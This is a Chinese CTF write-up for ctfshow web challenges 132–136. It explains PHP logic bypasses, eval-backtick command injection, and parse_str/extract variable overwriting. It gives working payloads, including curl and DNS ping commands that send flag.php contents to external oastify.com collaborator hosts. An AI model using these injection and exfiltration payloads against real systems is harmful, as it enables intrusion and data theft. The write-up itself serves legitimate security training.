目录
1、web132
2、web133
3、web134
4、web135
5、web136
1、web132
存在 robots.txt
访问 /admin
需要传三个参数,并且需要满足:
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
mt_rand(1, 0x36D) 会生成一个 1 到 877(十六进制0x36D)的随机数,因此 $code === mt_rand(1,0x36D) 这个条件很难满足,因为每次都会生成一个新的随机数,$code 很难与这个随机数相等。
当这个条件为假后,&& 后面的条件则不会再继续判断,直接返回 false;
&& 优先级高于 ||,对于 || 我们可以让最后一个条件满足,只要有一个为真都是返回 true。
后面继续判断 $code == 'admin' 即可,payload:
?username=admin&password=&code=admin
拿到 flag:ctfshow{dbe0a94b-b874-4ec4-83e6-b9e4d79b7978}
2、web133
正则表达式过滤掉了一些命令执行函数 ,substr() 函数会返回字符串的一部分,这里只截取了我们传入的前六个字符,然后执行 eval 函数。
六个字符显然不能构造出什么,但是如果我们传入的就是 $F 本身呢?
比如传入:?F=`$F `;sleep 3
观察发现页面确实存在延时,说明 sleep 3 执行成功了。
分析下为什么会这样:
`$F `;sleep 3 会先经过substr($F,0,6)截取六个字符后得到 `$F `;
然后执行 eval("`$F `;");
而其中的 $F 原本是我们传入的内容,即 `$F `;sleep 3;
因此执行的是 eval("``$F `;sleep 3`"); 也就会执行 sleep 3。
这里使用 burpsuite 的 Collaborator Client 结合 curl -F 命令外带 flag:
这个模块说实话我也是第一次用,先随机获取一个域名:
我这里复制下来是:ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com
构造 payload:
?F=`$F`;+curl -X POST -F xx=@flag.php http://ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com
对 payload 的一些解释:
-F 为带文件的形式发送 post 请求;
其中 xx 是上传文件的 name 值,我们可以自定义的,而 flag.php 就是上传的文件 ;
相当于让服务器向 Collaborator 客户端发送 post 请求,内容是flag.php。
提交 get 请求:
之后刷新一下 Collaborator Client 这边:
这里还可以直接命令执行:
?F=`$F`; curl http://7dlviqq1kp7fyuu27x61yqbyepkh8cw1.oastify.com/`ls`
命令的输出将被插入到 curl 命令的 URL 中
?F=`$F`; curl http://5lrtqoyzsnfd6s20fvez6ojwmnsfg94y.oastify.com/`cat flag.php|grep ctfshow`
因为 flag.php 内容是多行,所以结合 grep 找一下。
3、web134
代码审计:
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
如果通过 GET 或 POST 请求中设置了 key1 或 key2,脚本将停止执行并输出 "nonononono"。
@parse_str($_SERVER['QUERY_STRING']);
解析查询字符串并将变量提取到当前作用域中,@ 用于抑制可能的错误。
extract($_POST);
将 POST 请求中的参数提取为局部变量,这就可能会覆盖已有变量的值,例如 $key1 和 $key2。
payload:
?_POST[key1]=36d&_POST[key2]=36d
解析后,会将 $_POST['key1'] 和 $_POST['key2'] 赋值为 36d;
由于 extract($_POST),这两个 POST 参数会被提取为局部变量 $key1 和 $key2;
这样就能使 $key1 和 $key2 都等于 36d,从而通过最后的条件检查。
查看源码:
拿到 flag:ctfshow{a344ccbb-706d-40bb-a5c9-dfc5b041930b}
4、web135
新增了更多的命令过滤,但是这道题的当前目录可写。
payload:
?F=`$F`; nl f*>1.txt
之后访问 1.txt 即可看到 flag
拿到 flag:ctfshow{f5f86342-7b20-48ae-83a3-cfaa412cecac}
当然还可以用 cp、mv 命令:
?F=`$F`; cp flag.php 2.txt
?F=`$F`; mv flag.php 3.txt
也可以采用 DNS 外带的方法,payload:
?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com
用 nl 命令为 flag.php 文件中的每一行添加行号;
用 awk 命令选择第 15 行(flag 在多少行是需要不断尝试出来的);
tr -cd 'a-zA-Z0-9-' 这个命令会删除所有不是字母、数字、减号的内容,原本我想将大括号也保留,但是试了下不行。
这里重启了一下容器,因此 flag 有变动。
第 15 行的 flag1 内容:
?F=`$F`;+ping `nl flag.php | awk 'NR==16' | tr -cd 'a-zA-Z0-9-' `.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com
第 16 行的 flag2 内容:
flag 分为了两段,flag1 和 flag2,拼接起来,字母都改成小写字母,添加上大括号即可。
5、web136
过滤掉了一些命令和符号
其实我没怎么遇到过这个 exec 函数,尝试执行命令,但是发现回显空白:
在 PHP 中,exec、system 和、passthru 都是用来调用外部 Linux 命令的函数,但它们还是有区别的:
(1)system()
用于执行外部程序;
输出命令的执行结果到标准输出设备,并返回命令的最后一行结果;
可以通过传递第二个参数来捕获命令执行后的返回状态码。
(2)passthru()
用于执行外部程序;
将命令的原始输出直接发送到标准输出设备(通常是浏览器);
不返回任何值,但可以通过第二个参数捕获命令执行后的返回状态码。
(3)exec()
用于执行外部程序;
不会输出结果到标准输出,而是将最后一行结果作为返回值返回;
如果传入第二个参数(数组),可以将所有输出保存到这个数组中;
第三个参数是一个整数变量,用于捕获命令执行后的返回状态码。
我们可以将结果重定向到某个文件,然后再访问对应的文件,但是这里 > 被过滤了,我们可以使用 tee 命令来实现类似的功能,tee 命令可以将命令的输出写入到标准输出的同时写入到一个文件中,payload:
?c=ls|tee 1
访问 1,下载后用记事本打开,发现不存在 flag 相关的文件:
这里的 1.txt是我最开始尝试的:
才发现它过滤掉了点
但是我访问 1.txt,这个文件还是被创建了,并且里面有 ls 命令执行的结果:
仔细看了下代码,才发现这里的过滤其实就是个幌子,只是说匹配到正则会输出 too young too simple sometimes naive! 并没有直接 die 掉的,因此 exec 函数还是会继续执行的。
那我直接用重定向啊哈哈哈:
?c=ls />2.txt
访问 2.txt:
果然是虚晃一枪,发现存在名为 f149_15_h3r3 的文件。
直接读取:
?c=cat /f149_15_h3r3>3.txt
拿到 flag:ctfshow{53b1956a-8a2e-48f1-b443-f0e32d3e36b1}
如果真的是被过滤掉了,那就用 tee 命令代替:
?c=cat /f149_15_h3r3|tee 3